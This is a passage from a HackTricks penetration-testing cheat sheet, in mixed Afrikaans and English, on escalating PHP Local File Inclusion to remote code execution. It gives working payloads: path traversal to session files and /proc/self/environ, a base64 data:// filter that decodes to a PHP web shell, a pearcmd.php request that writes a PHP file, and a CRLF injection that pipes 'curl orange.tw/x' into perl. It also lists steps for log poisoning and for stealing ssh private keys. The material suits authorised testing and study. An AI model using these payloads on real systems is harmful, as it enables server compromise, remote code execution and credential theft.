login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Deur ssh

As ssh aktief is, kontroleer watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot <HOME>/.ssh/id_rsa

Deur vsftpd loglêers

Die loglêers vir die FTP-bediener vsftpd is geleë by /var/log/vsftpd.log. In die scenario waar ’n Local File Inclusion (LFI) kwetsbaarheid bestaan, en toegang tot ’n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:

  1. Inject ’n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
  2. Na injectie, gebruik die LFI om die bedienerloglêers van /var/log/vsftpd.log terug te haal.

Deur php base64 filter (gebruik base64)

Soos getoon in this artikel, PHP base64 filter ignoreer eenvoudig nie-base64. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met “.php”, sal dit net die “.” ignoreer en “php” aan die base64 heg. Hier is ’n voorbeeldpayload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

This writeup verduidelik dat jy php filters kan gebruik om arbitrêre inhoud te genereer as uitvoer. Dit beteken basies dat jy arbitrêre php code kan genereer vir die include sonder om dit in ’n lêer te skryf.

LFI2RCE via PHP Filters

Via segmentation fault

Upload ’n lêer wat as ’n tydelike lêer in /tmp gestoor sal word, dan in dieselfde versoek ’n segmentation fault veroorsaak, en dan sal die tydelike lêer nie verwyder word nie en jy kan daarna soek.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

As jy ’n Local File Inclusion gevind het en Nginx voor PHP loop, kan jy moontlik RCE bekom met die volgende tegniek:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

As jy ’n Local File Inclusion gevind het, selfs al het jy nie ’n session nie en session.auto_start is Off. As jy die PHP_SESSION_UPLOAD_PROGRESS in multipart POST data verskaf, sal PHP die session vir jou aktiveer. Jy kan dit misbruik om RCE te kry:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

As jy ’n Local File Inclusion gevind het en die bediener op Windows loop, kan jy moontlik RCE kry:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, bestaan die skrip /usr/local/lib/phppearcmd.php standaard in php docker images. Verder is dit moontlik om argumente aan die skrip via die URL deur te gee, omdat aangedui word dat as ’n URL-param nie ’n = het nie, dit as ’n argument gebruik moet word. Sien ook watchTowr’s write-up en Orange Tsai’s “Confusion Attacks”.

Die volgende versoek skep ’n lêer in /tmp/hello.php met die inhoud <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Die volgende maak ’n CRLF vuln misbruik om RCE te kry (van here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Deur phpinfo() (file_uploads = on)

As jy ’n Local File Inclusion gevind het en ’n lêer wat phpinfo() blootstel met file_uploads = on, kan jy RCE kry:

LFI2RCE via phpinfo()

Deur compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

As jy ’n Local File Inclusion gevind het en jy can exfiltrate the path van die temp file, MAAR die server is checking of die file to be included has PHP marks, kan jy probeer om daardie check te bypass met hierdie Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Deur eternal waiting + bruteforce

As jy die LFI kan misbruik om upload temporary files en die server die PHP-uitvoering laat hang, kan jy daarna ure lank brute force filenames om die temporary file te vind:

LFI2RCE via Eternal waiting

Tot Fatal Error

As jy enige van die lêers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar include. (You need to include the same one 2 time to throw that error).

Ek weet nie hoe dit nuttig is nie, maar dit kan wees.
Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.

Bewaar traversal sequences vanaf die kliënt

Sommige HTTP clients normaliseer of vou ../ in voordat die versoek die server bereik, wat directory traversal payloads breek. Gebruik curl --path-as-is om traversal onaangeraak te hou wanneer jy log/download endpoints misbruik wat ’n user-controlled filename aanmekaar koppel, en voeg --ignore-content-length by vir pseudo-files soos /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Pas die aantal ../ segmente aan totdat jy die beoogde gids ontsnap, en dump dan /etc/passwd, /proc/self/cwd/app.py, of ander bron-/konfigurasielêers.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks